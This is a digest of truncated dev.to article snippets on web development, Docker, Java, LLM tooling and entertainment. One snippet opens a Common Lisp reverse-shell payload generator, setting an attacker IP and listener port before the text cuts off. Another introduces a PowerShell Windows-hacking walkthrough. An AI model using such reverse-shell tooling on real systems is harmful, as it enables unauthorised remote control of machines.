    Hey folks! While taking my online React course, I quickly discovered something: forms are everywhere. Whether you’re buying groceries online, booking a table, signing in, paying fees, or typing questionable prompts into an AI model at 2 AM — you’re dealing with forms. Since I wanted my portfolio to look a little less “junior developer on day 3,” I decided to learn a solid form library alongside React. The first one on my list: React Hook Form (RHF). After going through the docs and doing a healthy amount of trial-and-error (emphasis on error), here are some useful insights I picked up. Hopefully they help you skip a few of my mistakes. getValues() gives you a snapshot, not a subscription getValues() returns the current form data at the exact moment you call it. Use it in: event handler…  ( 7 min )
    Building a Hotel Booking System with laravel, Inertia.js and Vue.js
    Introduction Creating a modern room booking system is a great way to learn full-stack JavaScript development. This demo project combines Inertia.js, Vue.js, Tabler, and Bootstrap to create a responsive user interface, while Stripe handles online payments securely. The system includes a customer panel, an admin panel, and a dashboard for tracking bookings and payments. This project demonstrates a Room Booking System with the following features: 1. Customer Panel Keep track of upcoming reservations Monitor payment confirmations View a summary of total bookings and spending Create new reservations and select payment options Track current and past bookings View payment status and receipts The panel uses Inertia.js + Vue.js to give a smooth, SPA-like experience, with Tabler components and Boo…  ( 7 min )
    Simply Docker Series (Ubuntu-Install)
    🐧 Linux Users — Let’s Set Up Docker (Ubuntu/Debian Style 🚀) Installing Docker on Linux works a little differently, but don’t worry — just follow these simple steps and you’ll have a clean Docker setup in no time. 🔹 Step 1: Update Your System & Install Essentials Before installing Docker, refresh your package list and install a few tools that help your system download Docker safely: sudo apt update sudo apt install ca-certificates curl gnupg ✔ ca-certificates → secure downloads 🔹 Step 2: Add Docker’s Official GPG Key This key ensures the Docker packages you download are authentic and safe. sudo install -m 0755 -d /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg sudo chmod a+r /etc/apt/keyrings/docker.gpg Thi…  ( 7 min )
    A log system for the CLI tool
    Repository: CLImanga create LOG system (file based) for CLImanga feat: add log system The first issue I chose to work on for CLImanga was surprisingly simple at first glance: "Create a logging system for the project." Before opening this PR, I had never built a logging system in Go. printf in C console.log console.error And honestly, I believed those were enough for most programs. But as I began exploring the issue, I realized a real project requires far more like: Persistent logs Structured messages Error-level separation Execution tracing Debug-friendly information (file, line, timestamp) This PR became my first deep dive into designing a custom, project-specific logging system. Based on the issue and discussions with the project owner, the logging system needed to: Write logs to a fixed…  ( 7 min )
    my understanding of crud applications,controllers, and middlewares.
    Okay, before we start - quick disclaimer: I am in no way a professional. I'm just typing this stuff here because I'm too lazy to write notes in my book. Now, let's begin! To me, CRUD applications feel like the backbone of many systems. They help us Create, Read, Update, and Delete data - you know, the stuff everyone knows. But during my adventure in the world of CRUD, I seemed to have found another layer, a deeper mystery so to speak. Long story short, I basically had to understand the difference between middleware and controllers. To be honest, I don't really know where to draw the line completely, but my knowledge has evolved since last time - I'll tell you that! I used to think that anything with app.use() was middleware (not my proudest moment, to be honest - don't judge! Also, if you're planning to, please notice the #newbie hashtag - thanks!). My Middleware vs Controller Revelation Code exmaple: just think of middlewares as waiters: Grinds the beans Steams the milk Checks if you paid Then passes it along "Next!" then controllers they are the ones who: Puts everything together Adds the final touches Hands you the finished drink "Here's your coffee!" (beautiful illustration analogy btw ) The Order Matters Saga Anyway, let's not glaze Sam right now. I'm quite happy I've gained this knowledge! Follow me to see my next blog on Swagger documentation!  ( 6 min )
    Laeyrd - Create theme & customize VS Code without touching JSON 😁
    Introducing Laeyrd: Create theme & customize VS Code without touching JSON 😁 If you’re like me, you spend a lot of time in VS Code. And if you care about your development environment, you’ve probably spent way too much time tweaking your theme and settings in settings.json. Changing a comment color or adjusting the sidebar contrast usually involves: Opening settings.json. Guessing the right scope (is it editor.background or panel.background?). Typing a hex code. Saving and checking if it looks right. Repeating until you give up. I built Laeyrd to solve this. It’s a VS Code extension that gives you a proper UI for customizing your editor and creating a new theme on the fly without writing yo generate or installing a vsix file code --install-extension something.vsix. Laeyrd isn't a theme…  ( 7 min )
    I Built A Browser Extension That Save ChatGPT, Claude, Grok, DeepSeek & Gemini
    I Spent Months Building This AI Chat Exporter Because Nothing Else Worked (And Now It's Free) Hey dev.to community! 👋 I finally shipped my first browser extension to Chrome, Edge, and Firefox — and honestly, I just wanted to share what I built and the real struggle behind it. Why I even built this thing I use Claude, Grok, and DeepSeek every day for coding. ChatGPT and Gemini mostly for research. But saving full conversations while keeping formatting (especially code blocks) and images? Impossible. Copy-paste destroys everything Screenshots are a mess Existing tools either don’t work, cut off long chats, or completely skip images So I built AI Chat Exporter Pro — at first just for myself. Now it exports full conversations from ChatGPT, Claude, Grok, Gemini, and DeepSeek to PDF, DO…  ( 9 min )
    How I Fixed a Confusing Bug in NumPy
    Contributing to a massive open-source project like NumPy can feel intimidating. You imagine complex C code, advanced math, and scary build processes. But sometimes, a bug is just a simple logic error hiding in plain sight. I just submitted a Pull Request to NumPy to fix a bug that was causing misleading error messages in numpy.convolve. Here’s the story of the bug, the fix, and how I verified it. "Wait, What?" numpy.convolve. You accidentally pass an empty array as your first argument, but your second argument is perfectly fine. import numpy as np a = np.array([]) # Empty! v = np.array([1, 2]) # Not empty! np.convolve(a, v) You would expect an error saying a cannot be empty, right? Instead, NumPy screams at you: ValueError: v cannot be empty Wait... what? I know v isn't empty. I …  ( 7 min )
    8-Bit Music Theory: Kirby Air Riders' Music is FUN FUN FUN
    Kirby Air Riders’ main theme “Starlit Journey” gets a playful, in-depth breakdown from 8bitMusicTheory, showing you how a bright intro, bouncy verses, an ear-worm chorus, dynamic bridge, and triumphant final choruses all work together to feel so joyful. With clear timestamps (0:00–14:00) for each section, you can dive straight into the bits you love most. Along the way, you’re invited to support the creator on Patreon, grab some themed merch, join the Discord community, and follow on Twitter—because good game music is best enjoyed with friends. Watch on YouTube  ( 6 min )
    ChaosKit - Code-level Chaos Engineering for Go Applications
    Most chaos engineering tools operate at the infrastructure level: they kill containers, emulate network failures, or simulate CPU overload. But errors in application logic—infinite loops, goroutine leaks, unhandled panics—remain hidden. ChaosKit is a Go framework that brings chaos engineering to the code level. It allows you to inject failures directly into your program and verify the resilience of business logic, rollback mechanisms, and internal invariants. I recently developed floxy—a Saga workflow engine for Go that works as a library and manages complex step sequences with compensating rollbacks. Most errors in such systems aren't infrastructure-related but hidden in logic—like infinite rollback recursion, goroutine leaks during panics, or handler deadlocks. Standard chaos tools like …  ( 9 min )
    The 3 AM Bug That Taught Me More Than My Bachelor's Computer Degree
    When Everything Stopped Working Instead, I'm staring at my laptop screen, watching my movie The error message mocks me: "Cannot read property 'price' of undefined" I've been debugging this for 6 hours. SIX. HOURS. For context: I'm in my final year of BCA (Bachelor's in Computer I have a CGPA of 8.3/10. I'm a "good student." But none of that prepared me for this moment - sitting alone at This is the story of how one stupid bug taught me more about The App (And The Bug) The app was straightforward - a Flutter movie booking system for Browse movies Select theaters and showtimes Choose seats See total price Complete booking I'd been working on it for 2 months. Everything worked perfectly. Until I added ONE feature: "Early bird discount - 20% off for Suddenly, the app crashed whenever someo…  ( 11 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ Gets the Rewatchables Treatment Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 cult comedy Weird Science, breaking down Anthony Michael Hall’s nerdy charm, Kelly LeBrock’s iconic supermodel, and all the sex, drugs, rock ’n’ roll—and yes, chips, dips, chains and whips—that make this flick a nostalgic must-watch. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this Ringer Movies episode comes packed with laughs, behind-the-scenes tidbits, a State Farm shout-out, and friendly reminders to subscribe to The Ringer’s channels for more deep dives. Watch on YouTube  ( 6 min )
    Fixing Hallucinations in Gemini 3 Pro by Overriding RLHF Instincts
    We all know the feeling: you ask an advanced LLM (like Gemini 3 Pro) a specific technical question, and it confidently gives you a completely made-up answer. It hallucinates specs, libraries, or historical facts that simply don't exist. I’ve been stress-testing Gemini to understand why this happens even in high-tier models. My conclusion? It's not a bug in intelligence; it's a bug in alignment. Current models undergo rigorous RLHF (Reinforcement Learning from Human Feedback). During training, the model learns that "silence" or "I don't know" is often penalized, while a confident answer (even if slightly off) gets a reward. Effectively, the model develops a "survival instinct": To survive this interaction, I must satisfy the user. If I don't know the answer, I must invent one. Standard prom…  ( 8 min )
    Stop Wasting Hours Understanding Terraform Plans #terraform #devops #InfrastructureAsCode #VSCode
    Stop Wasting Hours Reading Terraform Plans: The One Tool Every DevOps Engineer Needs Published: November 20, 2025 Author: Ganesh Reading Time: 8 minutes Picture this: It's 4:45 PM on a Friday. You're about to deploy a critical infrastructure change to production. Your manager asks: "Can you quickly summarize what's changing?" You freeze. You open your terminal. Scroll through 500+ lines of Terraform plan output. Try to find the key changes buried in a sea of: # aws_security_group.app[0] will be updated in-place ~ resource "aws_security_group" "app" { id = "sg-0a1b2c3d4e5f" name = "app-security-group" ~ ingress { + cidr_blocks = [ + "10.0.1.0/24", ] - cidr_blocks = [ …  ( 13 min )
    How to Monitor Cost and Latency in Production LLM Systems
    TL;DR Monitoring cost and latency in production LLM systems requires end-to-end observability across prompts, tool calls, RAG retrieval, and model routing; unified machine + human evals to quantify ai quality; and governance at the ai gateway to enforce budgets, fallbacks, and load balancing. Instrument distributed agent tracing, define cost/latency SLOs, run automated evaluations on live traffic, and curate datasets from logs to drive continuous improvement. Use prompt versioning and llm router policies to stabilize performance envelopes, and adopt semantic caching where appropriate to reduce spend without degrading accuracy. For full-stack reliability, integrate Experimentation, Simulation & Evaluation, Agent Observability, and the Bifrost gateway. Start with clear reliability targets …  ( 8 min )
    The Runner Who Learned to Slow Down for Sunrise Photos
    I never planned on turning my morning runs into something soft or meaningful. I started running because I felt tired all the time, and someone online said running before work gave you energy. That wasn’t true for me. The first week, I felt like I was dragging my body through wet mud. My legs burned, my chest hurt, and I counted every second until I could stop. But I kept doing it for some reason — mostly stubbornness, maybe a tiny bit of hope. I always ran right at sunrise, because that was the only time my schedule allowed. The sky would still be a little dark when I stepped outside, and the air had that cold, sharp smell that wakes you up even if your brain isn’t ready. I’d put in my earbuds and try to force myself into a rhythm. But something strange kept happening. Even when my body wa…  ( 12 min )
    Exploring the Benefits of Synthetic Data Generation for AI Agent Evaluation
    TL;DR AI engineers and product teams need reliable, repeatable ways to assess agent behavior across complex, multi-turn workflows. Synthetic data generation creates task‑aligned examples programmatically—covering personas, scenarios, edge cases, and long‑tail failure modes—so teams can evaluate agents without waiting for scarce real data or risking sensitive information. Synthetic datasets unlock fast iteration for agent evaluation, llm evaluation, rag evaluation, and voice evaluation while preserving privacy and lowering operational cost. Synthetic data enables scale, coverage, and control for agent testing and model observability: Scale without privacy risk: Generate thousands of safe examples that reflect real tasks and constraints, enabling comprehensive agent evals across personas and…  ( 10 min )
    FYI: Paige Bailey (AI Developer Experience Lead at Deepmind) will be hosting a live demo and AMA on November 25th about Gemini 3
    Just saw this comment on the recent announcement from Google AI and thought I'd share in case anyone here is interested in joining: Jess Huang • Nov 20 If you're ready to get hands on, join us next Tuesday, November 25th to get direct insight into the new capabilities of Gemini 3. Paige Bailey, AI Developer Experience Lead at Deepmind, will be hosting a live demo and AMA. This is your opportunity to get direct, unfiltered answers from the team behind Gemini 3! Register here: goo.gle/Gemini3Forum Gemini 3 Announcement: Start building with Gemini 3 Logan Kilpatrick for Google AI ・ Nov 18 #gemini #ai #antigravity #vibecoding  ( 6 min )
    Check out the latest updates on my game.
    A new version of Momentum has been released, check it out here New level added: Wall climbing 101: this level introduces wall climbing but requries a mastery of momentum physics, and rope swinging to complete. Improved rope clinging, the rope no longer collides with the player itself when swinging. Implemented delta time, so the game should finally work on even the fastest machine. Added sound toggling icon.  ( 6 min )
    It’s Time to Move Your System to an ORM
    It should have been done long ago. Right at the moment you realized you’d be working with a database. Sure, adopting an ORM now is harder than doing it from day one, but it’s still not too late. Today I’m going to push my subjective, one-sided, and only correct opinion about why you need an ORM. There are contraindications for introducing an ORM into your project. Consult your common sense before applying. Yes, it feels amazing. You started a project the business has needed for years. Not a pet project, not a coursework exercise, an actual business project, funded, real, important. One that finally fixes the broken processes people have been suffering through for ages. You decided to help real humans who struggle with imperfect tools every single day. We, as engineers, really are wizards. …  ( 11 min )
    The Architecture of Browser Sandboxes: A Deep Dive into JavaScript Code Isolation
    Hey everyone! I'm Aleksandr Grigorenko, a frontend developer. Recently I’ve been working on a side project — an interactive educational platform for exploring the Web Audio API and the basics of digital sound processing and synthesis. On this platform, users will be able to solve challenges by writing JavaScript code directly in the browser in a built-in code editor. That code then runs inside an isolated environment — a sandbox — where user programs cannot affect the platform. When I started building the sandbox for my project, I quickly realized it was much more complicated than it looked at first. I tried several different approaches and kept running into the same thing: code isolation in the browser is far from straightforward, and most resources online only scratch the surface. This a…  ( 52 min )
    The Role Confusion: SRE vs Cloud vs Platform Engineer (And Why "DevOps Engineer" Misses the Point)
    If you've spent any time browsing tech job boards "lately" (by lately, read "in the recent years"), you've probably noticed a bewildering array of similar-sounding positions: Site Reliability Engineer, Cloud Engineer, Platform Engineer, DevOps Engineer and most recently DevSecOps Engineer and the aberration called DevSecFinOps (yes, saw it already twice!). The lines between these roles seem blurry at best, and completely arbitrary at worst. Let's untangle this mess and address why some of these titles fundamentally misunderstand what DevOps actually is. Before diving into specific roles, we need to address the elephant in the room: DevOps is not a job title and most companies still don't understand it. DevOps it's a cultural philosophy, a set of practices, and a movement aimed at breakin…  ( 9 min )
    Mastering Flutter Debugging: Visual Tools Every Developer 👩🏻‍💻Must Know
    🚀 Introduction Debugging UI layouts and performance issues in Flutter can be challenging, especially when widgets render unpredictably or performance drops without clear indicators. Fortunately, Flutter provides a powerful set of built-in visual debugging flags that help developers understand layout constraints, repaint behavior, gesture handling, accessibility, and rendering performance directly on the screen. This guide provides a practical reference to the most useful Flutter debugging commands—what they do, when to use them, and when to avoid them. Whether you’re fixing layout overflow, tracking excessive rebuilds, or improving performance, these tools will significantly speed up your workflow and improve your problem-solving efficiency. Use this cheatsheet anytime you need deeper v…  ( 10 min )
    I’m Building a Common Lisp Payload Generator
    I write scripts so I don’t have to do boring stuff twice, and lately I’ve been doing it… in Common Lisp. Yeah, the language with a million parentheses. Fight me. A couple of months ago I fell down the Lisp rabbit hole while trying to automate some boring pentest tasks. Turns out: Lisp is absurdly good at generating and mutating payloads on the fly. Macros = free obfuscation super-powers. So here’s my little chaotic experiment: a tiny SBCL script that spits out working reverse shells with one click (and yes, I tested it live). #!/usr/bin/sbcl --script ;; payload.lisp – because why not write red-team tools in Lisp? (defparameter *lhost* "192.168.1.42") ; ← your attacker IP (defparameter *lport* "443") ; ← your listener port ;; Classic bash reverse shell – works on 99 % of Linu…  ( 11 min )
    Quick Recap: Caching in Java
    Caching stores frequently accessed data in memory to improve performance and reduce expensive calls (e.g., DB/API). It helps speed up applications and reduce load on resources. Java provides multiple ways to implement caching — from simple in-memory maps to production-grade caching frameworks. ✔ Improves performance ✔ Reduces DB/API calls ✔ Faster response times ✔ Better scalability ✔ Helps design high-performance systems Cache Type Description Example Use Case In-Memory Stored in JVM memory Java Map, LRU Cache Distributed Shared across servers Redis, Hazelcast Local + Remote Hybrid Ehcache with DB store Application-Level Annotations-based Spring Cache Map cache = new HashMap(); cache.put("user:1", "John"); cache.get("user:1"); // Fast lookup ⚠ Not th…  ( 7 min )
    Hack a Windows System Using PowerShell
    Hacking isn’t the Hollywood fantasy you’ve seen — no glowing green gibberish flying across the screen, no skinny guy surrounded by energy drinks, typing three lines and screaming: “I’m in.” If that is what inspires you to become a hacker, then you need to rethink your path immediately. The era of simple hacks based on weak passwords and sloppy scripts is long gone. Today’s digital infrastructure is armored with advanced defenses, intelligent detection systems, and layered security protocols. Modern hackers either evolve… or they end up as loud, online commentators who talk more than they prove. In this guide, we’re diving into a penetration-testing model that shows how attackers gain control of a Windows machine — step by step and in the real world. Before we begin, here are the prerequisi…  ( 10 min )
    Slim shock : the index file
    I have soft launched my relational query package, but to put it through the ringer I wanted to use it in a website. You can think of situations and write tests, but the proof is in eating the pudding. So I started a new project and used the Slim skeleton for a quick setup. It is a while ago that I used Slim. You don't need to read the code below, it is just a visual aid. // Instantiate PHP-DI ContainerBuilder $containerBuilder = new ContainerBuilder(); if (false) { // Should be set to true in production $containerBuilder->enableCompilation(__DIR__ . '/../var/cache'); } // Set up settings $settings = require __DIR__ . '/../app/settings.php'; $settings($containerBuilder); // Set up dependencies $dependencies = require __DIR__ . '/../app/dependencies.php'; $dependencies($containerBuild…  ( 8 min )
    PHP on Ubuntu: Installation, Setup, and First Steps
    Prerequisites – installation of Homebrew and asdf on Ubuntu PHP - Docs PHP - On DevDocs.io (ordered from lowest to highest learning curve) CodeIgniter — https://codeigniter.com/user_guide/ Laravel — https://laravel.com/docs Symfony — https://symfony.com/doc 🛠️ Installation on Ubuntu sudo apt update sudo apt install php php-cli php-common php-mbstring php-xml php-curl php-zip brew install php Installation: php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" php composer-setup.php sudo mv composer.phar /usr/local/bin/composer Verify: composer --version Dependencies: sudo apt update sudo apt install autoconf bison build-essential libxml2-dev libssl-dev \ libcurl4-openssl-dev pkg-config re2c libsqlite3-dev Plugin + version: asdf plugin add ph…  ( 7 min )
    Interactive maps with Leaflet.js
    ## Installation, Basic Map, Markers, and Layers: Getting Started with Interactive Maps In this post, we will explore the essential steps to create interactive maps, starting from scratch. We will cover the installation of a popular library, the creation of a base map, and the addition of important elements such as markers and layers. 1. Installing the Library The first step is to install the library we will use to build our maps. There are several options, but for this tutorial, we will use [Library name]. To install, open the terminal or command prompt and run the following command: pip install [library name] Replace [library name] with the actual name of the library (e.g., folium, leaflet, etc.). Wait for the installation to complete. 2. Creating a Basic Map With the library installed, …  ( 8 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is CinemaSins’ latest roast session, where the team clocks every nitpick of the new KPop Demon Hunters movie with their trademark humor and snark. They link to all their channels (TVSins, CommercialSins, CinemaSins Podcast Network), share a Linktree for updates, invite you to fill out a fun poll, and remind you that you can keep the sin machine running over on Patreon. The description also points you to their Discord, Reddit, Instagram, TikTok, and even Jeremy’s book, while crediting the squad of writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel). Basically, if you love snappy film critiques and want to plug into all things CinemaSins, this is your one-stop gateway. Watch on YouTube  ( 6 min )
    Quick Recap: Maps in Java
    Java provides multiple Map implementations — each designed for different use cases such as fast lookups, sorted data, concurrency, or predictable order. Understanding their internal working helps in writing performant code. Map Type Ordering Thread-Safe Best For HashMap No order ❌ No Fast lookup LinkedHashMap Insertion order ❌ No Caching (LRU) TreeMap Sorted order ❌ No Range queries ConcurrentHashMap No order ✔ Yes Concurrent access Uses array + linked list / tree (red-black tree) Default capacity = 16, load factor = 0.75 Collisions handled using chaining Hashing Logic: index = hash(key) & (n - 1) // n = array size When collision occurs: Java 8+: if bucket size > 8 → converts list → tree (better performance) Time Complexity: Best For: Fast lookups, general-purpose sto…  ( 7 min )
    One-to-One in Doctrine: How One Wrong Line of Code Generated 40,000 Extra Queries Per Day
    A real-world debugging story - and the hidden mechanics behind Doctrine's 1:1 relations A few years ago, I was working on a high-traffic Symfony application. Lots of concurrent users, lots of read operations, performance carefully monitored. Everything seemed stable - until our database dashboards started showing something odd. Every single day, we were generating tens of thousands of redundant SELECTs. Just 40,000+ pointless queries. We dug into logs. Then into slow-query reports. Still nothing obvious. And then the profiler finally revealed the culprit: bidirectional One-to-One relation in Doctrine, configured on the wrong owning side. One annotation. One line of code. When we flipped the owning side to the entity we actually queried most often, the extra queries disappeared immediatel…  ( 9 min )
    Building an AI Study Buddy: My Journey with Google's AI Agents Course
    Introduction For my Capstone Project, I chose the Agents for Good track to solve a problem I face constantly: passive learning. The Problem: Studying is Passive The Solution: The AI Study Buddy Instead of just reading, users can: https://www.kaggle.com/code/anandk05/aibuddy-34 How It Works (The Architecture) 1. The Router Agent 🧠 If the user asks "What is...", it routes to the RAG Tool. If the user says "Quiz me...", it routes to the Quiz Generator. 2. Retrieval Augmented Generation (RAG) 📚 3. Self-Evaluation & Quality Control ✅ I implemented an Evaluator Tool that programmatically audits the generated quiz before showing it to the user. It checks: Is the question clear? If the quiz fails this check, the agent regenerates it. This ensures a high-quality experience for the student. What I Learned The most powerful concept I applied was Observability. By adding detailed logs (or "thought traces") to my code, I could watch the agent "think"—detecting intent, selecting tools, and evaluating its own work. It felt less like coding a script and more like teaching a digital employee. Demo https://youtu.be/FJjsLvuQJzI?si=IPlp8CdOlx-QhYwa Conclusion Building the AI Study Buddy showed me that we can use AI to make education more accessible and engaging. I'm excited to keep refining this agent and adding more tools in the future!  ( 7 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ Rewatchables Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 classic “Weird Science,” unpacking all the iconic ’80s vibes—from Anthony Michael Hall’s awkward teen energy to Kelly LeBrock’s bombshell arrival. Expect a deep (and delightfully off-color) look at the movie’s blend of sex, drugs, rock ’n’ roll and sci-fi gadgetry, plus plenty of nerdy trivia and behind-the-scenes anecdotes. Producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo keep the conversation rolling while State Farm pops in to remind you about bundle savings. Subscribe to The Ringer channels for more movie breakdowns, and follow them across YouTube, Twitter, Facebook and Instagram for all the pop-culture goodness. Watch on YouTube  ( 6 min )
    Quick Recap: Design Patterns in Java (Real Examples)
    Design patterns provide reusable solutions to common software problems. Here’s a concise recap with actual Java / Spring framework examples — not generic ones. Singleton Ensures only one instance exists. / Real Example: Calendar calendar = Calendar.getInstance(); Runtime runtime = Runtime.getRuntime(); Used in logging, DB connections, cache managers. Factory Method Creates objects without exposing logic. // Example: Java Collections List list = List.of("A", "B"); // Java 9 Factory NumberFormat format = NumberFormat.getInstance(); Spring Example: BeanFactory.getBean("beanName") Builder Pattern Best for creating complex objects with many fields. // Example: StringBuilder String result = new StringBuilder() .append("Hello ") .append("World") .toString(); Also used in Lo…  ( 7 min )
    When a “Small” AI Model Pushes Your Hardware to Its Limits
    While building my ConversaAI web app, I started experimenting with a local AI model using Ollama, running the 𝗚𝗲𝗺𝗺𝗮 𝟯 (𝟭𝗕) model, a “lightweight” 𝟴𝟭𝟱 𝗠𝗕 model. But in practice… it’s a different story. Every time model started generating a longer response, 👇 Here’s the before-and-during-generating-longer-response comparison of hardware utilization. At first, I thought something broke. But the real reason was far more interesting. Even at 1B parameters, the model performs 𝗯𝗶𝗹𝗹𝗶𝗼𝗻𝘀 𝗼𝗳 𝗼𝗽𝗲𝗿𝗮𝘁𝗶𝗼𝗻𝘀 𝗽𝗲𝗿 𝘁𝗼𝗸𝗲𝗻. Every generated word triggers 𝗺𝗮𝘀𝘀𝗶𝘃𝗲 𝗺𝗮𝘁𝗿𝗶𝘅 𝗺𝘂𝗹𝘁𝗶𝗽𝗹𝗶𝗰𝗮𝘁𝗶𝗼𝗻𝘀. The GPU handles the heavy computation, while the CPU manages data flow, scheduling, and memory movement. Meanwhile, RAM and VRAM temporarily hold weights, activations, and intermediate states. In simple terms: When GPU utilization peaks (95%), it produces heat rapidly. This throttling explains why the AI response halted and fan speed decreased shortly after. 📽️ Watch the video below that explains this situation. Hardware strain during model inference “Small” in AI doesn’t mean “light” for consumer hardware. So, even though my laptop is capable of running local inference, it has trouble maintaining it, particularly when the model needs to continue executing billions of operations per second for longer outputs. Running AI locally isn’t just about generating text. It teaches you how your CPU, GPU, RAM, and thermal system manage the workload of modern AI models in real time. Now, every time my laptop fan spins up, I know it’s just trying to think really hard. 😅 Did you ever run into a similar issue? If yes, how did you tackle it? If you found this post useful or learned something new, drop a ❤️ and share your thoughts in the comments. I’d love to hear your experience. Feel free to reach out on 💌 Email 💻 GitHub  ( 7 min )
    Google Play Store Analysis: Data-Driven Insights for App Launch Strategy
    Introduction Assumptions All analyses were performed using Python in Jupyter Notebook, utilizing functions such as load_dataset(), print_summarize_dataset(), clean_dataset(), and various histogram, heatmap, and scatter plot utilities. 🧪 1. Assumptions Download count is a proxy for market demand — higher installs indicate stronger user interest 🧹 2. Data Preparation & Cleaning Removed duplicates After cleaning, the dataset was ready for rigorous analysis. 📈 3. Experiments & Visualizations 3.2. Most Popular Genres Within Paid Family Apps Education dominates the paid Family segment with the largest share This shows parents are willing to pay premium prices for educational content that benefits their children's development. 3.3. Installations per Category Communication, Social, Tools, V…  ( 9 min )
    QuickJot: A Micro-Note Network Built for Frictionless Idea Sharing
    Introduction In an era of information overload and overcomplicated tools, QuickJot offers a refreshing alternative: a minimalist micro-note network that enables instant idea sharing through nothing more than a 6-character key. No accounts. No authentication barriers. No friction. QuickJot demonstrates that powerful solutions don't require complex infrastructure or significant investment. Built entirely on free-tier cloud services, it serves as both a practical tool and a proof-of-concept for developers exploring cost-effective full-stack architecture. Live Application: quickjot-kqo6.onrender.com GitHub Repository: github.com/hejhdiss/QuickJot License: GPLv3 (Open Source) Modern note-taking and sharing tools often introduce unnecessary complexity: Mandatory account creation Email verifi…  ( 8 min )
    Expert Plumbing & Heating Services in Bolton
    Reliable Plumbing Solutions in Bolton: Farworth Plumbing delivers expert bathroom and shower installations, radiator fitting, leak detection, and rapid pipe repairs. Skilled engineers ensure quality workmanship, efficient systems, and dependable service across the region—always ready to help. Bathroom-Installation-Bolton Shower-Installation-Bolton Radiators-Installation-Bolton Burst-Pipe-Repairs-Bolton Leaks-Detection-Bolton  ( 6 min )
    onclick和addEventListener、inset
    onclick和addEventListener onclick = ... 只能设置一个处理函数。 如果你写多次,后面的会覆盖前面的。 mini.onclick = () => console.log('A'); mini.onclick = () => console.log('B'); // 最后只有 B 有效 可以对同一个事件添加多个监听器,不会互相覆盖。 mini.addEventListener('click', () => console.log('A')); mini.addEventListener('click', () => console.log('B')); // A 和 B 都会执行 inset 是 CSS 中用来设置元素“定位偏移”的简写属性,等同于同时设置: top right bottom left 它主要用于 绝对定位 / 固定定位 / 相对定位 的元素(position: absolute / fixed / relative / sticky)。 inset 的语法支持 1~4 个值: inset: ; 或者简写方式 写法 展开含义 inset: 10px; top=10px, right=10px, bottom=10px, left=10px inset: 10px 20px; top=10px, bottom=10px, right=20px, left=20px inset: 10px 20px 30px; top=10px, right=20px, left=20px, bottom=30px inset: 10px 20px 30px 40px; top=10px, right=20px, bottom=30px, left=40px  ( 6 min )
    Let Your AI Build Nova Poshta Integrations in Minutes
    🚀🚀🚀 We’re very excited to introduce Nova Poshta MCP Server — a developer-first way to let your AI 🤖 talk to the real Nova Poshta API without living in the docs. Built for AI assistants and dev workflows with AI agents. ✨✨✨ When a project gets the task “integrate Nova Poshta delivery”, technically everything is already clear: there’s the official Nova Poshta API, there are request examples, there are dozens of existing integrations. But in practice, every time it comes down to the same things: remembering which method is responsible for tracking; not mixing up fields when creating an express waybill; building the right filters for branches; figuring out why a “successful” response still returns no data. Even if you already use AI assistants (Cursor, Claude, OpenAI, etc.), they often ha…  ( 9 min )
    Claude Code Will Be As Good As You Are
    Over the past few months, I've been living in Claude Code. I'm talking about serious, production-level work—building new services, refactoring legacy systems, rebuilding our integration test infrastructure from scratch. If I'm being honest, over 80% of the code I've shipped in that time was generated by AI. But here's what nobody tells you: AI-generated code isn't replacing my engineering skills. It's amplifying them. And more importantly, it's exposing every gap in my own thinking. The code Claude produces will only be as good as the design you drive it toward. After months of experimentation—vibe coding, setting draconian rules, trying every configuration imaginable—I've learned that great AI-assisted development isn't about prompting harder. It's about thinking better. When I first star…  ( 11 min )
    Running Firefox in Docker? Yes, with a GUI and noVNC!
    Docker isn’t just for serve your code, appliactions. you can actually run a full desktop app inside it. In this project, I containerized Firefox with a virtual desktop and made it accessible through a browser using noVNC. It creates a lightweight container that: - Runs a minimal desktop environment (Fluxbox) - Launches Firefox - Serves a VNC display using x11vnc - Exposes that desktop through noVNC (so you can open it in your web browser) You can literally open Firefox running inside Docker, from your browser tab. docker compose up. Here’s a quick breakdown of what happens inside the container: Everything runs headlessly, there’s no physical display, but the combo of Xvfb + Fluxbox gives Firefox a virtual desktop. FROM alpine:edge RUN apk add --no-cache \ xfce4 \ faenza-icon-the…  ( 8 min )
    React Context & Routing Mastery — From Prop Drilling Pain to Auth‑Ready Architectures
    Most React interviews won’t ask you to build a whole app. Instead, they test your mental model of Context, routing, state persistence, URL‑driven state, and auth flows with questions like: What is prop drilling and how does Context solve it? What exactly does a Provider do? What goes inside the value prop of a Provider? When should I use useContext vs the new use() API? Why does auth state disappear on full page reload? How would you protect routes with a PrivateRoute? Why are and different? How does React Router’s createBrowserRouter and data APIs change things? Why store search filters in the URL instead of in useState? When should I use useRef instead of useState for input values? This article transforms all those quiz‑style questions into production‑grade patterns you…  ( 10 min )
    How I built a hybrid LAN/WAN file sync engine without VPN (and why on-demand sync still matters)
    🎥 Video demo: Introduction A few years ago, I was working on a system that required synchronizing very large datasets — sometimes close to 1 TB — across several servers belonging to different companies. Some servers were in the same building, others were remote, some were behind locked-down firewalls, and in many cases I had: no VPN, no direct link, no control over the remote infra, and machines that didn’t even know each other existed. To move initial datasets, I relied on traditional transfer tools. But the real problem appeared after that first copy: How do you verify that datasets across multiple locations are fully identical, and resynchronize only the missing deltas — especially after an interrupted or incomplete transfer? Double-checking terabytes manually…  ( 12 min )
    Mise-En-Place: a quick and easy tool for managing a dev environment
